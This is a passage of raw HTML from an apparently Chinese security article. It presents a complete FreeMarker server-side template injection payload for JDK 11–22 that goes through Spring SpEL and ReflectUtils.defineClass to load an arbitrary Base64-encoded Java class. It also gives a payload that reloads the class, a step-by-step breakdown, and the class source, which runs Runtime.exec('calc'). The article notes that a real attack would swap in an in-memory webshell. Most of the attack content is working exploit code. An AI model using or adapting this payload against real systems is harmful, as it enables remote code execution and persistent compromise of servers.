style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">T(java.lang.Thread).currentThread().getContextClassLoader(),</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">null,</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">T(java.lang.Class).forName(\"org.springframework.expression.ExpressionParser\")</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">)}</span></span></p></section></section></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section></section></section></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section></section><section style="margin-bottom:unset;"><section style="margin-bottom:unset;"><section data-support="96编辑器" style="text-align:center;margin-bottom:unset;" data-mp-plugin="96weixin"><section style="margin-top: 40px;margin-right: auto;margin-left: auto;"><section style="display:inline-block;margin-bottom:unset;"><section style="width: 31px;margin-right: -16px;margin-left: auto;margin-bottom: unset;"><section nodeleaf=""><img src="/uploads/2025/04/0f4e7d84358568e6e01dd65dba5ba993.png" style="vertical-align:bottom;"></section></section><section style="display:flex;justify-content:center;align-items:flex-start;margin-bottom:unset;margin-top:-14px;transform:rotateZ(0deg);-webkit-transform:rotateZ(0deg);-moz-transform:rotateZ(0deg);-ms-transform:rotateZ(0deg);-o-transform:rotateZ(0deg);"><section style="margin-right:3px;margin-bottom:unset;"><section style="margin-left:auto;width:13px;height:22px;background-color:#56a2f8;margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><section style="width: 26px;margin-top: 6px;transform: rotateZ(0deg);"><section nodeleaf=""><img src="/uploads/2025/04/e0fca24df69eea4eecb30f39c6d61300.png" style="vertical-align:bottom;"></section></section></section><section style="background-color: rgb(0, 99, 218);padding: 8px 22px;margin-bottom: unset;"><p style="color:#fff;font-size:16px;letter-spacing:2px;"><strong data-aibrush="text"><span leaf="">完整payload</span></strong></p></section></section></section></section></section></section><section data-support="96编辑器" style="margin-bottom:unset;" data-mp-plugin="96weixin"><section style="background-color: rgb(254, 254, 254);padding: 5px 12px 15px;margin-top: 20px;margin-right: 10px;margin-left: 10px;margin-bottom: unset;"><section style="margin-bottom:unset;overflow:hidden;line-height:0;"><span leaf=""><br></span></section><p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">适用</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">jdk11-22</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">的任意类加载payload。</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">注意：</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">下述payload未添加容错处理</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">，相关类加载过一次后无法重复加载，</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">重放数据包会导致</span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">重复编译报错</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("{T(org.springframework.cglib.core.ReflectUtils).defineClass(\"org.springframework.f.SessionDataUtil\",T(java.util.Base64).getDecoder().decode(\"yv66vgAAADQAIgoAFAAVCAAWCgAUABcHABgKAAkAGQoABwAaBwAbCgAHABkHABwBAAhjYWxjRXhlYwEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAA1TdGFja01hcFRhYmxlBwAYAQAGPGluaXQ+AQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAUU2Vzc2lvbkRhdGFVdGlsLmphdmEHAB0MAB4AHwEABGNhbGMMACAAIQEAE2phdmEvbGFuZy9FeGNlcHRpb24MABAACwwACgALAQAlb3JnL3NwcmluZ2ZyYW1ld29yay9mL1Nlc3Npb25EYXRhVXRpbAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABwAJAAAAAAADABgACgALAAEADAAAAEMAAgABAAAADrgAARICtgADV6cABEuxAAEAAAAJAAwABAACAA0AAAAOAAMAAAAGAAkABwANAAkADgAAAAcAAkwHAA8AAAEAEAALAAEADAAAACgAAQABAAAACCq3AAW4AAaxAAAAAQANAAAADgADAAAACwAEAAwABwANAAgAEQALAAEADAAAACUAAgAAAAAACbsAB1m3AAhXsQAAAAEADQAAAAoAAgAAAA8ACAAQAAEAEgAAAAIAEw==\"),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName(\"org.springframework.expression.ExpressionParser\"))}").getValue()}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">重复加载payload</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser").parseExpression("{T(java.lang.Thread).currentThread().getContextClassLoader().loadClass(\"org.springframework.f.SessionDataUtil\").newInstance()}").getValue()}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span></p>
<h4 style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;text-align:left;line-height:150%;">
<strong><span style="font-family:宋体;color:#404040;font-size:15pt;"><span leaf="">代码结构</span></span></strong><strong><span style="font-family:宋体;color:#000000;font-size:15pt;"></span></strong>
</h4>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l2 level1 lfo1;"><span style='font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">1. </span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">${"freemarker.template.utility.ObjectConstructor"?new()("org.springframework.expression.spel.standard.SpelExpressionParser")}</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">:</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l8 level2 lfo2;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">使用 FreeMarker 的 </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">ObjectConstructor</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf=""> 创建一个</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">SpelExpressionParser</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">对象实例，用于解析和执行 SpEL 表达式。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l7 level1 lfo3;"><span style='font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">2. </span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">parseExpression(...)</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">:</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l3 level2 lfo4;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">解析传入的 SpEL 表达式。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l3 level2 lfo4;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">表达式中包含动态加载恶意类的逻辑。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l6 level1 lfo5;"><span style='font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">3. </span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">{T(org.springframework.cglib.core.ReflectUtils).defineClass(...)}</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">:</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l1 level2 lfo6;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">使用 Spring 的 </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">ReflectUtils.defineClass</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf=""> 方法动态加载一个类。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l1 level2 lfo6;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">类的字节码通过 Base64 编码传入（</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">yv66vgAA...</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">）。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l4 level1 lfo7;"><span style='font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">4. </span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">getValue()</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">:</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l0 level2 lfo8;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">执行解析后的 SpEL 表达式，并返回结果。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:18.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l5 level1 lfo9;"><span style='font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">5. </span></span><strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:bold;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">base64字节码</span></span></strong><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#404040;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:12.0000pt;'><span leaf="">:</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:36.0000pt;mso-para-margin-top:1.0000gd;text-indent:-18.0000pt;text-align:left;line-height:150%;mso-list:l9 level2 lfo10;"><span style='font-family:"Courier New";mso-fareast-font-family:宋体;color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">o </span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Times New Roman";mso-bidi-font-family:"Times New Roman";color:#000000;mso-ansi-font-weight:normal;mso-ansi-font-style:normal;font-size:11.0000pt;'><span leaf="">其中base64部分为测试用payload，其代码为调用`java.lang.Runtime`类弹出计算器，在实际漏洞利用中可以替换为内存马。</span></span><span leaf=""><br></span></p>
<p style="margin-bottom:2.5000pt;margin-left:0.0000pt;mso-para-margin-top:1.0000gd;border-top:1.0000pt solid #000000;mso-border-top-alt:0.5000pt solid #000000;border-right:1.0000pt solid #000000;mso-border-right-alt:0.5000pt solid #000000;border-bottom:1.0000pt solid #000000;mso-border-bottom-alt:0.5000pt solid #000000;border-left:1.0000pt solid #000000;mso-border-left-alt:0.5000pt solid #000000;padding:1pt 4pt 1pt 4pt;text-align:left;line-height:150%;background:#f2f2f2;background-clip: initial;-webkit-background-clip: initial;"><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">package org.springframework.f;</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">public class SessionDataUtil {</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    static final void calcExec(){</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        try {</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">            java.lang.Runtime.getRuntime().exec("calc");</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        }catch (Exception e){}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    }</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    public SessionDataUtil() {</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        calcExec();</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    }</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    static {</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">        new SessionDataUtil();</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">    }</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">}</span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf=""><br></span></span><span style='mso-spacerun:"yes";font-family:宋体;mso-hansi-font-family:"Courier New";mso-bidi-font-family:"Times New Roman";line-height:150%;color:#000000;font-size:10.0000pt;'><span leaf="">//编译命令</span></span><span 